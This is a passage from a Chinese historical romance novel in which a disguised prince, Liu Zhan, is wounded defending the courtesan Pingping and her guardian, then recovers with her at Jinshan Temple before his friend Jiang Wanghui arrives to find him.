柳湛先是一愣，继而缓缓记起，眼前女子是萍萍朋友。他这些天耳濡目染，通晓了些人情，立马堆笑：“好姐姐，吃过没有？想吃些什么？” “天气热了，来碗冷淘吧。” “好咧！”柳湛立马请她吃一碗，待副末色汤饼入口，才赔笑问 ，“好姐姐，萍萍最近过得还好吗？” “唉，她呀——该吃吃，该笑笑，没见哭过。” 柳湛听到这暗暗松口气，却听副末色接下来道，“但谁都晓得她心绪低落。她又不像我，会演戏。” 柳湛指尖一抖，忽然就喘不上气，伏低身几乎趴到桌上，仰着面央求副末色：“好姐姐，能不能帮我见她一面。”他懂了点门道，掏出一张交子硬塞进副末色手里。 副末色却要归还交子：“我又不是喜鹊，这桥可搭不上！” 自己还要在江边演戏谋生，不能得罪兰姨。 柳湛叹道：“帮不上忙，姐姐也收着吧。” “唉，其实我也觉得兰妈妈这事做得有些武断。”副末色收了交子，多言数句，“虽说小官人将来注定要回去娶门当户对的，但将来它是将来呀，与眼下何干？你与萍萍妹妹厮守个一年半载，这一年半载彼此快乐为真！倘若我是兰妈妈，就允了你们这对小鸳鸯，今朝有酒今朝醉！” 柳湛听她全部说完，才反问：“为什么你们都觉得我会另娶？” “谁，还有谁这么说？” 柳湛便将前些日子兰姨一番话倾吐给副末色听。副末色听完长长叹了口气：“这事你别怪兰妈妈，她手下有个叫红莲，莲娘子的，亦是我们姊妹，上回泼皮手里你还救过她，可有印象？” 柳湛摇头。 他记得那天有几个无赖调。戏民女，被自己痛揍一顿，但除了萍萍已经不记得其他人的脸。 副末色晓得男人眼里皆只有情人，撇了撇嘴：“算了，我长话短说，去年红莲刚挂牌，有位跟您差不多年纪的小官人对她一见钟情，日日来舫里，后来干脆包了她半年。情窦初开的少年郎，珍之重之，半年都没碰身子，风尘里何曾见过这等恩客，红莲难免动情。那小官人也是口口声声说要讨她回去做娘子，哪知赎了身跟回去，拗不过族里，压根没进大门。红莲在人生地不熟的异乡做外室，小官人起先日日去找她，后来变成三、五日去一回，再后来，一个多月不见人影，反倒是那小官人的母亲去见了红莲，堂堂侯夫人，张口就要灌她毒药，红莲好不容易逃回来，重新挂牌张开，每日上船做夫妻，下甲板就恩断义绝。” 说到这副末色心里生出一丝庆幸，虽说都是下九流，但演杂戏还是比舫里的行院要好些。 半晌，柳湛认真思忖后，继续央道：“可人和人是不一样的，我能护好萍萍，姐姐帮我去兰姨那里说一说。” 副末色连连摆手：“你别坑我！” 柳湛却锲而不舍，一求再求，副末色于心不忍：“这样吧，你明日这时候还来这里，我给你引荐个妙人，兴许能在兰姨面前说上话。” “多谢姐姐，什么妙人？” 副末色狡黠一笑：“一个叫妙妙的人。” 她引荐的这位妙妙，芳名年轻，人却已不年轻。妙妙头回嫁人，夫君没两年就去了，留下个女儿，再改嫁又是一赌鬼，欠一屁股债，家里又多三个儿女，迫不得已，妙妙上花船谋生。她恩客不多，兰姨担心妙妙养不活一家人，就多贴了一份打下手的活计，算是兰姨的贴身随侍。 柳湛见妙妙第一眼，就认出她是那个递给萍萍喝汤药的行院，第二眼，瞧见她抹胸挂得极低，纱衣里面也若隐若现，他马上避开眼，脖子亦扭到一侧。 妙妙睹见柳湛反应，面不改色，习以为常——没办法，她姿色不及年轻小娘子，只能衣着暴。露些。 柳湛目不斜视，心里仍记挂那碗汤药：“姐姐那天给萍萍喝的是什么药？伤不伤身子？” 他学这江边的人，要讨好就喊姐姐。 妙妙道：“避子汤。” “什么？”柳湛回身回头，再次瞥见不该看的，急忙低头，“你们怎么能给她喝那种东西！” 要是他，绝对不会给萍萍喝伤身体的避子汤。 “不喝的话小官人让她生下来么？”妙妙平静反问，她都后悔自己三个孩子没喝避子汤。 “生啊！”他从始至终，打算的都是明媒正娶萍萍。 妙妙没想到柳湛会给一个肯定答案，且答得这般直接迅速，妙妙眨了下眼，将话再次引回柳湛身上：“不管怎样她已经喝了，倘若没有小官人，她就不会喝，所以还是你的错。” 柳湛面上像开了染坊，一瞬闪过茫然、讶异、懊悔、自责、羞愧…… 妙妙不苟言笑，注视着柳湛反应，咄咄再问：“所以小官人还要见萍娘子吗？” 柳湛分唇，喉咙晦涩讲不出一个字。 妙妙起身要走，柳湛急忙提起桌上一盒酥油鲍螺：“姐姐且把这盒酥鲍带给萍萍，她喜欢吃的！”他追上去，“是新鲜的，我刚买的。” “别送了吧，”妙妙没有回头收，“送了她就晓得你在找她，断了的念想又要复生，别害她吧。” 柳湛提着食盒，杵立原地。 副末色晓得这事没成，后来又说要给柳湛再引荐一个绝对能在兰姨面前说得上话的。 说是兰姨十来年的相好，柳湛闻言再次递上交子，大把撒钱，可真到约定时间，副末色却说那男子不能来见面了，因为他常年做寡妇们的入幕之宾，这几日要挣一趟远门钱。 柳湛闻言，呆愣许久。 副末色背着手在他身旁大笑：“怎么，吓着了？萍萍身边就都是这样的人。” “我不怕！”柳湛倏地回神，无论她身边是什么样的人，何种出身，他都不会因此动摇。 失之东隅，收之桑榆，柳湛没见到萍萍，却找到了令太医——原来他回来后改了姓名，所以一直寻不见。 若是初来扬州那会找见，柳湛一定会当面询问为什么要改名，现在他却有些明白了，只拱手深鞠一躬。 太医连忙下跪，诚惶诚恐：“殿下折煞微臣！” “太医，求您重回宫一趟，我嬷嬷上个月饮酒中风，卧床口不能言。” “太后娘娘中风了？”令太医心内错愕，面上不显。 翌日天刚蒙亮，一辆马车在白雾中穿城北上，柳湛另骑一匹白马伴在左右。 清晨街上人少，他又耳力极佳，连沿街铺子里议事皆能听清。 听见熟悉的名字，柳湛手倏勒缰，白马前面一对蹄高高扬起，令太医挑开车帘询问：“怎么了？” 柳湛训马回落，靠近车厢，低语：“太医，您先回东京，我还有件事情要办，过几日打马赶上来。” 商量好后，柳湛目送太医远离，自己则跃下马往回走了几步，紧紧盯着一间酒坊，酒坊隔壁是间成衣铺子，两家中间有一条背街巷，立个秋千。 柳湛隐入暗处，少顷，就于白茫茫雾中一眼瞧见朝思暮想的身影，抱着一沓衣裳，从成衣坊出来。 他听见萍萍旁边的小娘子问：“萍萍，我们去酒坊找兰妈妈吗？” 萍萍二字一出，柳湛再也忍不住，眼眶湿热，鼻尖发酸。 萍萍的声音还是那样好听：“别进去了吧，她们在里面谈生意。” “好。” 萍萍和另外一名小娘子抱着衣裳坐到中间的秋千上等，柳湛按捺不住冲到萍萍眼前，睁大眼想贪婪地端详她，但正事要紧：“萍萍，酒坊有诈！” 萍萍瞧见柳湛一怔，继而泪眼朦胧，听他提及酒坊，抹了把眼丢下衣裳：“兰姨还在里面。” “我知道。”柳湛说时一个纵身，翻墙入酒坊。萍萍不会轻功，绕进正门追，进院中时已乱成一团，柳湛身后护着兰姨和众行院，一人对二、三十人，招招不乱，已经打趴下一半，萍萍心提到嗓子眼，忽然一只飞刀迎面朝她飞来，柳湛急呼：“萍萍！” 纵身扑来，挡在萍萍面前，仗剑拨开飞刀，见兰姨那边再次遭袭，他已经因心慌乱了阵脚，却仍回护，萍萍亲眼瞧见，占利一柄九环大刀对着柳湛腹部划过。 “阿湛！”她因紧张喊劈了声。 柳湛虽未循声看她，却旋起笑意，继续打跑了余下众人，才向前搀了一搀，剑插地上才稳住。萍萍和兰姨等人都跑上去扶住。 柳湛记得自己进来时兰姨已经受伤，抬首关切：“您伤还好吧？” 兰姨凝眸：“我无碍。” 萍萍心中却只叫喊：他的声音怎么突然变得这样虚弱！ 她往下瞧，触目惊心，那腹间哪只划一刀啊，丹田往下足有四寸长，肚破肠流，萍萍不由自主伸手去捂柳湛肚子，心里只一念头，求这刀改捅在她身上，让她代他受难。 萍萍眼泪直流，却发现有人碰了好几下她另一只手的小指，顺着瞧去，竟是柳湛笑望着她，一脸轻松，伸小指将她小指勾住。 第97章 第九十七章 生死相许 这一刹， 萍萍觉得兰姨说的是对的，不该 和阿湛搅拌在一起，他每回遇到她不是被骗就是打打杀杀。 萍萍小指下意识要抽走， 柳湛却紧勾着不放。 “哭什么？”兰姨训斥萍萍， 又吩咐众人， “快去请郎中救人！” “酒坊烧起来了！”占利那班人逃窜时竟然砸了酒坛丢上一支火把，已经蔓延开来。好在小娘子们手脚皆快，合力将柳湛挪出酒坊， 唤了街坊灭火并报官， 又请郎中为柳湛医治，留他船上养伤。 萍萍心里不安， 私下问兰姨：“是不是我连着两回阻止占利害阿湛，得罪他了？会不会连累画舫？” 兰姨朝柳湛房中瞟一眼，只道：“你好好照料恩公，旁的不用操心。” 萍萍点头，继续回房照顾柳湛，本来郎中的药好得没这么快，是柳湛突然记起自己还带着一小罐膏药， 连涂三日， 就肉眼可见的好转， 收口结痂。她问柳湛从哪得来这么好的疮药？ 柳湛有一说一：“我家里的。” “那你家里肯定非富即贵。”萍萍一边感叹， 一边给他清理伤口，柳湛盯着她的头顶：“我——” 实话差点脱口而出，却在抬头瞧见兰姨后生生止住。 受伤后， 柳湛头回在床上翻身，差点咧嘴晕过去。 “你别用力，我推你。”萍萍急忙扶住他。郎中叮嘱每隔半个时辰就要翻一次身， 她时不时就瞟滴漏，严格执行——没想到男人的身子这样重，差点推不动。 晚上也是萍萍帮柳湛擦身子，他不好意思：“我自己来、自己来。” “眼下你自己能来吗？”萍萍避开对视，虽然脸发烫但还是说出来，“别不好意思，你身上哪一处我没看过。” 柳湛转脸埋向枕头。 就这样在床上又躺两日，柳湛腹部不用力，全凭挺背和手劲下床，萍萍拦他，柳湛笑道：“不能老在床上躺着，得通气。” “什么是通气？” 柳湛耳朵红红在她耳边嘀咕几句，又说：“你别管了，都是污秽。” 萍萍扬下巴，偏要管，之后他诸多不便，都是她或帮或扶，到哪都跟着去，两人若连体共生。晚上萍萍也继续守他，怕挤床上碰到柳湛伤口，就在床边另支一张贵妃椅，一晚又一晚将就。 转眼柳湛养伤快一个月，年轻人好得快，不看腹部缠绕的布条，已与常人无异。萍萍却在这一日右眼皮上忽然蹿起一串叠摞的脓包，蔓延至眼尾，从眼睛疼进脑袋，再连带牙齿和半边身子都是疼的，实难忍受。 行院们围过来却不敢靠近，说这是会传人的蛇缠疮。 “瞎说，不传人吧？” “传的呀，上回王员外得的就是这个，没几天就死了，差点赖到我头上。” “那是他太老了，七十多该死啦……” “不管传不传，萍萍这几日不能出去了，不能叫客人们瞧见，不然要吓跑了。” 花船上的小娘子们也不避讳，当着萍萍的面议论，最后还是兰姨呵了声“够了”，才安静下来。 柳湛看向兰姨：“我会一点医术，萍萍这种我们那叫火带疮，是风湿博于血气所生……” “什么呀？”兰姨打断，“这是心火妄动所致！她小时候就害过一回，只有金山寺的僧医治得好。” 那会逢着萍萍亲娘去世，又是花船生意最好的春季，她两头忙得脚不沾地，一开始随便给请了个郎中，延误病情，萍萍眼睛差点就看不见了。 等亏后来能好转康复，不然愧对泉下萍萍娘亲。 “事不宜迟，拖久了会失明的。”兰姨现在说起，仍心有余悸。 柳湛在太医局学过不少，其实真能治萍萍，但他养伤这一个月，又精进不少世故人情，思及诸位姐姐说的病传人，客人，柳湛深想兰姨的话，不再多言：“兰姨，我陪萍萍上金山寺吧。” 一叶小舟，晃晃悠悠从扬州逆上润州，盛夏江上，迎面扑来的都是热风。 “仔细脸上别出汗。”柳湛掏帕在萍萍眼周轻沾。 萍萍却已低头看向柳湛腰腹：“这么热出汗了你伤口怎么办？” 柳湛旋嘴角：“我已经快好了，不会有事。” 柳湛还是第一回来润州金山，和耳闻想象差不多，一座山非明黄即翠色，瞧着绿荫如盖，但真登上山，犹嫌树少不能遮荫。莫说脚下石阶和两侧的石头发烫，就是回眸一望，焦山和北固山掎角相夹的长江，亦滚滚升腾热气。 萍萍的病情进展颇快，视线已有两分模糊，柳湛沿路牵着她，倒还顺利，入金山寺后，寺中僧人却说求医如求佛，心诚则灵，要一步一步磕上来的才治。 “什么？”柳湛旋即反问，“菩萨慈航普度，难道不磕头的他就不治吗？” “施主莫要激动，这是规矩。” 萍萍小时候疼糊涂了，忘记细节，这会说起回忆了下：“那年好像是兰姨背了一段路。” 柳湛吸气：“我也能背的。” 好在僧人并未过分为难，只让重走最后九十九级台阶，萍萍要自己磕头，柳湛叹道：“你嗑什么呀，看都看不清。”又说九十九级他走起来很快的，当磕完再次踏入金山寺时，后山的钟声骤然响起，遮蔽半天的飞鸟纷纷往前越过天王殿，萍萍和柳湛一齐抬头仰望。 僧医们给萍萍施了灸药，还开方子，因为寺内不方便留女眷，他们要到山间的田舍休养，同时帮着寺庙照料几亩菜田，作为医病的报答。 柳湛搀扶萍萍下山，萍萍愧疚道：“本该我照顾你，现在却成你照顾我养病。” 柳湛面上似乎有些不高兴：“我俩之间，还用得着这么客气吗？” 夫妻是不用言谢的。 “再说来了金山寺，我的伤也治了啊。”这话不假，僧医顺带查看了柳湛的伤势，金山寺无论灸药，皆是野路子，与太医局的治病思路完全不同。主持已经答应柳湛，养伤期间但凡有空，都可以入寺钻研僧医。 柳湛便常常带些僧方回田舍，又将所学知识整理成册。萍萍跟着打下手，渐渐也看了半部《黄帝内经》。 他俩一道养病，柳湛早上爱吃粢饭团，寺中油少，遂改良只用蒸草蒸，内里不包馅料。萍萍和柳湛日日早晨伴着金山寺的诵经声，一起下厨。 这金山寺的诵经早课非常有名，萍萍和柳湛也去听过几回，主持讲《摩邓女经》，摩邓女执着爱着佛的弟子阿难，佛问摩邓女究竟爱阿难什么？ 摩邓女说，我爱阿难的眼，爱阿难的鼻，爱他的口，爱他的耳和身。 佛祖却说阿难眼中有泪，鼻中有洟，口中有唾，耳中有垢，身中有不干净，臭烘烘的屎尿，有什么好爱的呢？ 讲到这萍萍和柳湛不约而同想到两场病，彼此的眼泪鼻涕，口水耳垢，甚至那些不干不净，臭烘烘的东西都互相见过了。 眼前人好的坏的，再无一处不知晓。 可他们还爱着。 还更爱了。 离开天王殿时萍萍扭头看向门边对联，落在下联“觉有情”三字，柳湛走近牵起方才在殿中不能牵的手：“我也这样觉得。” 今夏酷热，到八、九月仍不见凉，他们照料的数亩菜田需时常降热、避暑，一开始柳湛不知道，菜快晒死了，才学着扎棍搭棚，棚上再涂些泥浆。这一行萍萍亦是生手，二人学着一起在行间铺稻 草和碎秸秆，让地面变凉。 柳湛抹了把额上的汗：“我家里每年都会有一天下地犁田，一直以为那就是耕种，现在才晓得都是假的。” 春分日官家亲御耒耜，却原来是做做样子。 他边说边压实泥土，免得待会浇水冲走：“这才是真。” 萍萍睹见他不住擦汗，起身倒了碗旁边备的凉水，递给柳湛：“累了吧？这天也忒热了！” “不累。”柳湛笑道，“怨天者无志。” 萍萍没觉得他呛声，反而也笑起来：“这是《荀子》说的。” 柳湛喝完，给萍萍也倒一碗，递给她：“我早想问了，你读的书都是兰姨教的吗？” “不是，识字读书都是我娘教的。她走以后就是我自己乱看乱读了。”萍萍微微歪脑袋，眼珠转动，嘴角翘起，“我娘是个很有意思的人，她吃东西的时候不管多急的事，也不回答我，一定要口里吃完了才说话。我每回吃着东西开口，都要挨她一顿骂。” 柳湛带笑倾听，心里却已学会暗中深思，往坏处想，岳母在做官妓前，极有可能是位贵女。 “泰水贵姓？”柳湛问，追忆二十年前左右被抄家的官，也许能对上号。 知道他不反感，萍萍挠了下柳湛的脸：“你傻呀，我要晓得姓，我不就有姓啦？”她垂眼，“我娘船上唤作玉英，旁的我也不知道了。” 心里闷得难受，她没看就抬手轻轻打了柳湛一下，不小心敲在腹上，萍萍旋即扶住，急眼道：“疼不疼？” 还缠着布条呢。 “早不疼了。”柳湛笑道，“方才你打的也不疼，比蚊子叮还轻。” 萍萍不禁想白他一眼，却又心一软，轻道：“当时你要不挡在我前面，兴许就不会乱，不会受伤。” 片刻，柳湛抬手抚上她的脸：“我愿意为你去死。” “你个傻子！”她想想柳湛在扬州城做的那些事，说的那些话，都透着傻气，不由再嗔，“你就是傻子。” 柳湛噙笑，心道自己不傻，只不过喜欢以诚待人，也以为世人皆同自己家人一样，以诚相待。 他本来想否认，张嘴后迟滞须臾，改口：“我是傻子。” 萍萍低头咬唇，其实傻子也挺好，她也快做傻子了。 要是柳湛遇险，好像也愿意为他去死，本来结发为夫妻，就该黄泉共为友。 这一日后，山上下了一场连绵的雨，热气稍微褪些，但下雨的日子变得只能待在屋里，好在田舍里有琴，还有一只九连环。 两人一起解连环，萍萍才晓得阿湛的琴弹得如此出色，她凭栏闭眼，但觉千枝万叶风飕飕。 柳湛说，这首曲子叫《松入风》。 九连环解了两遍，琴听无数，雨还在下，他们就用之前捡的过季梅子做糖渍，没想到柳湛那么贪嘴，天天偷吃，罐子藏到床底下他都能找到。 雨停后他们出来逛，地上干了，就在山径席地而坐，微风拂面，发丝乱飞，萍萍在柳湛怀中向上仰望，忍不住抬手摸上他耳后小痣。 指尖刚一触上，柳湛就转回头与她对视，他的眸子里全是烟火气，柔情似水，波光粼粼。 他抓住萍萍的手，将她掌心贴到自己颊上：“萍萍，我们以后就在润州生活，开家汤饼店吧？” “主卖银丝面，臊子就鱼桐皮或笋泼肉，夏天……夏天再兼卖些冷淘，可好？” “那什么时候开呢？” “过几年吧。” “过多少年？” 柳湛想了想，如果太子之位让给阿七，回家要有许多事情处理：“最迟六年，给我六年时间。” 萍萍算了下：“六年好久啊，到时候我都二十三了……” 柳湛想，二十三也不老，将她拥紧。 日往西斜，二人十指紧扣回田舍，寺里匀的灯油少，没掌灯，二人躺在床上说话。 萍萍小声商议：“我们明日同方丈们告辞，回扬州吧。” “是该回去了。”柳湛牵着她的手，穿过指缝，“先回扬州，然后我带你回一趟东京。” “好啊……”萍萍压低下巴埋进他怀里，柳湛起初仅习惯性在她额上印下一吻，但很快就心思活络，蠢蠢欲动。 萍萍道他腹上有伤，坚持要在上面。 摆弄良久，柳湛都有些不得劲，最后还是耐不住一个翻身压下，先是手肘撑着，而后改成手掌，低低喘气：“还是我来。” 渐渐直脖扬起下巴。 一室旖旎。 …… 翌日二人同主持、方丈等一一说好，道了谢，就回屋里收拾下山。 临行萍萍上妆，说要让兰姨她们都瞧见自己在山上养得漂漂亮亮的，柳湛在旁伫着，看了片刻，笑道：“让我帮你画一回吧。” 萍萍愣了下，将螺子黛递给他。 柳湛蹲下，萍萍道：“蹲下画不方便吧？”她让了半边妆凳，“要不也坐上来？” 柳湛摇头，学她刚才将螺子黛蘸水，顺着萍萍原有眉形一顺描摹，他不会画眉，但会作画，一样道理，瞥见眉下萍萍时不时微眨的双眼，亮晶晶的，柳湛差点一笔画歪。 “闭眼。”他下令。 萍萍闭眼笑道：“怎么这么多要求？” 柳湛专注她的眉：“你睁眼我会分心。” 画完两人同时望向镜中，如水映二人倒影，萍萍点评：“还不错。” 接下来是口脂，柳湛洗干净手，食指指腹将凝膏一点点抹于萍萍唇上，愈摸身下火愈旺，涂好瞧着鲜红欲滴的唇，再也忍不住凑前用唇封住。 萍萍唔唔两声，等一个绵长的吻尽，粘丝分开，她才瞪他一眼，嗔道：“都被你吃光得重画了！” “那就再画。”柳湛灼灼道。就在这时响起两声叩门，一个萍萍陌生的声音发问：“郎君，您在里面吗？” “谁？”许久未闻，柳湛对这个声音也有些陌生了。 “郎君，是我，蒋望回。” “进来。”柳湛回话后牵起萍萍的手，小声告诉她，“是我朋友。” 萍萍点头，蒋望回则听令推门，先瞥的柳湛，睹见唇上糊花的口脂，愣了下，而后才瞟眼柳湛旁边佳人，整个人僵住，定定望着她。 第98章 第九十八章 前人栽树，后人乘凉 柳湛发现自己不喜欢蒋望回这样盯着萍萍看， 他本能移步，挡住萍萍。 蒋望回见状回神，迅速低头。 柳湛启唇介绍：“望回， 这是我未过门的娘子， 萍萍。” 蒋望回闻言抬首， 眸中俱是震惊，两眉亦拧起，柳湛却已扭头给萍萍引荐， “这位是我朋友蒋望回。” 萍萍踮脚， 目光跃过柳湛肩膀，从下往上打量蒋望回， 阿湛高，阿湛的朋友也高，京师是不是人人都身材修长？ 那她去不成小矮子了？ 萍萍不小心对上蒋望回眼睛，他立即垂首，萍萍也低下头去，屈膝行礼：“见过蒋官人。” 蒋望回忙回礼：“问萍娘子安。” 头仍埋着不抬。 柳湛径直发问：“望回，令太医看了后我嬷嬷可有好转？” 蒋望回再次猝然抬首， 瞪大双眼， 唇嚅了又嚅。 柳湛见状心一紧：“怎么了？可是嬷嬷出事了？她还好吗？” 蒋望回仍未即刻应声， 左右张望， 而后眺向萍萍，拱手躬身：“萍娘子，可否允在下和郎君私下讲两句话？” 萍萍点头， 干脆应允：“行啊！” 蒋望回便眼神示意柳湛出门，柳湛拧眉，不晓得有什么事非要私下说， 但还是随蒋望回出门。二人立在田边，一排排绿叶菜扎在地里，不知哪来一只野麻雀，柳湛怕它啄坏菜，弯腰伸手去赶，蒋望回拽着柳湛的胳膊拉远，眼瞅着在往山下走，柳湛定住：“你拉我下山作甚？”他回头望田舍，“萍萍还在家里呢！” 柳湛灵光一闪，抽出手，上下打量蒋望回：“你不会打算绑我回京师吧？” 蒋望回亦扫视柳湛，片刻，先告知：“令太医已抵宫中，属下离宫时他正为太后娘娘诊治，病情暂还稳定。” 柳湛闻 言长吁口气。 蒋望回压低声音再道：“但殿下所议之事，不应该被外人听见。” 柳湛终于明白蒋望回为什么吞吞吐吐，非要私下讲了。他蹙眉不悦：“方才介绍过了，萍萍不是外人。” “还说呢，”蒋望回咬牙切齿，“殿下哪来的未过门的娘子？” 立太子妃的事官家压根就没提上议程，皇后亦未相看贵女，别太荒谬。 柳湛莞尔，原来蒋望回方才紧盯萍萍，是吃惊他有女人了。 之前的不快释怀，柳湛正要开口，就见蒋望回吸气再道：“令太医说殿下在扬州，属下当即来扬州找。遍寻不见，直到江边燕馆才打听到些许音讯。”那是蒋望回头回踏入烟花地，此刻说起，双耳犹红，“他们说殿下陪一红颜知己上金山寺求医去了，当真如此？” 蒋望回难以置信，祈愿这不是真的。 柳湛颔首：“是。”他旋起嘴角，萍萍的确是他此生的红颜知己。 蒋望回悬着的心直直坠落，面露难色：“那萍娘子也是行院？” 柳湛道：“是与不是，有甚区别。” 蒋望回痛心疾首：“殿下怎能学那班浪荡子？欢场里做一日夫妻，信口开河！” “你误会了，不是一日夫妻，胡乱称呼，我是真心想娶她。” “什么？殿下您糊涂！”蒋望回脱口而出，意识到失言，侧首抿唇缓了缓，才续道：“殿下的太子妃将来注定是位贵女。莫说纳烟花娘子有损殿下声誉，就算真将萍娘子收进东宫，以她的身份必定遭受排挤，殿下既然敬爱萍娘子到要立为正妻，难道忍心到时候她受伤害？” 柳湛挑眉：“你怎么也这样说？” 蒋望回还要语重心长，柳湛抢先一步发问：“你们家里向来是不纳妾，一世一双人的，对吧？” 蒋望回愕然，怎么突然扯到自己家里？ 柳湛朝蒋望回点了下脑袋，“万一将来你遇到想厮守终生的娘子，她刚好不是贵女，出身不行，你当如何？” 蒋望回抿唇定在原地。 柳湛转身回田舍：“不说了，我还要和萍萍回扬州，已经误了时辰。” 他觉得自己的母后不是贵女，父皇也一定会娶她。 他见过最坚定的选择，所以自己也一定能坚贞选择萍萍。 “殿下！”蒋望回追着柳湛走过菜田，“殿下记不记得……” 柳湛以为他还要劝自己放弃，抬手不耐烦道：“莫再说了！” 蒋望回嚅唇，从后往斜前方望，只能瞥见柳湛侧颜，他凝视着想，太子应该已经忘了，只有自己记得。 柳湛一跨进田舍，萍萍就迎上来笑问：“怎么聊了这么久？” 柳湛不愿她伤心，竟然学会撒谎：“说些江南趣事，他第1回 来，什么都新鲜。” 还是不习惯，撒谎时会摸鼻子，躲避对视。 萍萍全心全意信任柳湛，当了真，接下来下山，竟给蒋望回时不时讲些润扬一带风土人情，以为待客。 蒋望回大多数时候低着头，偶尔瞟她一眼，回应几个字。 萍萍也不恼，每个人性情不同，有人唠叨，有人寡言，没必要因为这生嫌隙，她问蒋望回：“仰望颜回……那你的表字是不是叫希颜呀？” 蒋望回垂首作答：“在下还未行冠礼，但将来……应该会这样取吧。”说完飞快瞟萍萍一眼，她已经大步跑去前面挽柳湛胳膊。 蒋望回注视前方一对身影，柳湛低头，萍萍踮脚，说着悄悄话，欢声笑语。 蒋望回本该垂眼，眼观鼻，鼻观心，却不由自主视线粘在二人身上。 他一路沉默，下到山底码头，柳湛和萍萍先跳上船，招手呼唤，蒋望回也仅只脚下加快，两瓣唇始终粘着。 趁蒋望回还在走甲板，萍萍手放耳边，柳湛见状低头凑近，她悄悄道：“你这位朋友好像不太开心。” “怎么这么说？”柳湛反问。 “我看他沿路都板着脸。” “他就这样，天生不爱笑，其实人还好，你别介意。” 柳湛话音落地不久，蒋望回就上到船头，也不知听见没有。 这艘回扬州的船有两名梢公，另加五名船客，舟悠悠往下游漂，不需要怎么用力，于是当中一位梢公腾出手，捞了一网小鱼，皆只指长，船客中有位卖油郎贡献半锅香油，大伙合力把鱼都炸了。萍萍和柳湛近半年在金山寺寡油，馋得厉害，萍萍甚至肚子叫了一声。 刚炸好，二人不顾烫就大快朵颐，萍萍看蒋望回一直不吃，便主动装了一盘给他：“尝尝，不腥的。” 蒋望回缓道声谢，双手接过，刚将一条鱼送入口中，萍萍就边嚼边补充：“刺不用吐，已经炸酥了可以直接吃。” 蒋望回鱼已入口，将整条吃完，才回道：“好的，多谢。” 萍萍愣了须臾，反应过来，这人和娘亲一样，口中有食物绝对不说话，她不由对好感倍生，冲他一笑。蒋望回瞧见，觉她眼里是涡旋，酒窝里也是涡旋，带着人下陷。 “望回。”柳湛唤蒋望回，冲卖油郎那边扬下巴，蒋望回会意，站起走远，向卖油郎和船家支付油钱和鱼钱。额外多付许多，众人都忙不迭称谢。 夕阳西沉，夏末初秋的晚霞现出独特的粉蓝两色，一艘北上的客船迎面擦过，众人皆睹见船上扎的红绸，柳湛手肘轻拐萍萍：“这是船上迎亲吗？” 萍萍视线追随那红绸船扭脖，船上门窗紧闭，完全看不见里面的人：“不知道啊……一般迎亲都会站在船头的。” 抵达扬州已是深夜，江边却仍灯烛荧煌，上下相照，一排排浓妆行院凭栏挥帕，萍萍伫立凝望，嘴里念叨：“夜市千灯照碧云，高楼红袖客纷纷。” 蒋望回闻声瞥了她一眼。 萍萍和自家的行院们对上眼，旋即泛笑，低头嘀咕：“一屋子神仙。” 蒋望回再次瞥萍萍，她半张脸隐在暗处，能瞧见的半张明眸如水，绿鬓似云，还有个浅浅的酒窝。萍萍身后倒映半江灯火，涟漪晃船，船又晃他的心。 他想，仙子只在身边。 萍萍仨人进画舫绕开主廊槏面，上楼先找兰姨，叩厢房门良久，兰姨才出来问：“什么事？” 门未关，仨人皆瞧见房中坐着位中年男子，锦袍玉带，气度不凡，柳湛第1回 见，以为是兰姨恩客，却见萍萍朝屋里行了个礼：“凤叔。” 男子亦隔空颔首回应。 柳湛便转而认定此人是副末色提到的那位兰姨相好。 萍萍已转头问兰姨：“今日家里有人出嫁吗？” 原来她仍记挂那艘红绸船。 “妙妙嫁去蜀地了。”兰姨不咸不淡回。 “什么？”萍萍一下反应不过来，“怎么这么突然？都不和我们说声。” “你在和尚庙里，怎么说？”兰姨白一眼，告知，“她嫁的崔员外。” 崔员外每回走商来扬州都会照顾妙妙生意，后来没商走了，人还是会来。 大家都瞧在眼里，不突然，不意外。 再则崔员外虽是商户，却知书达理，读书人都爱救风尘。 “她嫁那么远，那果儿狗儿他们呢？” 萍萍念叨的是妙妙子女的名字。 兰姨不语，那自然没带去。崔员外花一百两买下妙妙的和离书，又给她的儿女们留下另外一百两，怕赌鬼贪了，托到兰姨这里。 还说以后会时常从蜀地寄钱，让兰姨多关照自己子女。 说到这兰姨不满，谁知道妙妙将来寄不寄。 “崔员外不是快七十了吗？”萍萍追问。 兰姨横她一眼：“妙妙也不年轻！” 这是妙妙离开时自己说的话，她说崔员外除了年纪大点，旁的都好，娶过去就是续弦。 再则，崔员外一直没有子女，她生过四个，想来也是因为好生养相中她。 兰姨眼皮挑了下：“不聊这了。” 走了的人，不值得再说。 她打算下楼看看堂中生意如何，抬眼却瞥见柳湛身后蒋望回，神色骤凛，半晌，手垂入袖中询问：“这位是……？” 屋内那位萍萍称呼凤叔的冉冉踱出，眺着蒋望回笑道：“你不是前两天来打听过吗？” 兰姨扭头冷问：“打听什么？” 凤叔便将蒋望回打听柳湛的事一说，又说那会刚好自己在船上。 “是，他是我朋友，”柳湛附和，“特地从东京来寻我的。” 蒋望回亦出列：“见过兰娘子，在下蒋望回。” 兰姨沉默须臾，扭头吩咐柳湛：“阿湛，你进来。” 说着竟公然抛下众人，只和柳湛进屋。 关紧门，兰姨的厢房是套间，竟挑起水晶帘，领他进里面。 柳湛睹见梨花床，转身背对。 兰姨跪下请罪：“方才没用尊称，还望殿下恕罪。” 柳湛连忙将她扶起：“您唤我阿湛，我还高兴呢，觉得和你们更亲近了。”能融入萍萍亲友，是好事，他说着翘高唇角。 兰姨却无丝毫笑意：“殿下，民女可不可以打听下，这位来找您的蒋小官人出自哪家高门？” 柳湛笑道：“他是蒋经略相公的长子。” 兰姨声音发抖：“蒋玄是不是已经生了十几个孩子了？” 柳湛觉出异样，怔了下，方摇头：“他只一位夫人，生一子一女，子嗣不厚。” 兰姨忽变满面怒容，瞪着柳湛。 柳湛恍觉兰姨要骂他，她张口却道：“殿下若还同门外姓蒋的往来，萍萍就不嫁你了！” 说完，胸腹不住起伏，柳湛发现兰姨胳膊也在微微颤动。 他懵的，两分委屈，但仍放柔声音：“怎么了？” 兰姨抬腿往外走，怒气冲冲：“我现在就把他撵出去，再敢进我的画舫腿打断！” 柳湛急忙拉住：“兰姨莫冲动！” 本来只想虚拉一下，没想到兰姨这么大的劲，柳湛于是加重力道，女子难与习武男子拼力气，兰姨再进不得。柳湛就伫在兰姨身边，另一只臂垂下，虽然不知道发生什么，但已做好了被她掌掴的准备。 他柔声劝慰：“莫生气。” “我怎么能不气！”兰姨回头，一开始恶狠狠盯着柳湛，咬牙切齿，念叨着，念叨着，同样话就成了哽咽：“我怎么能不气……” 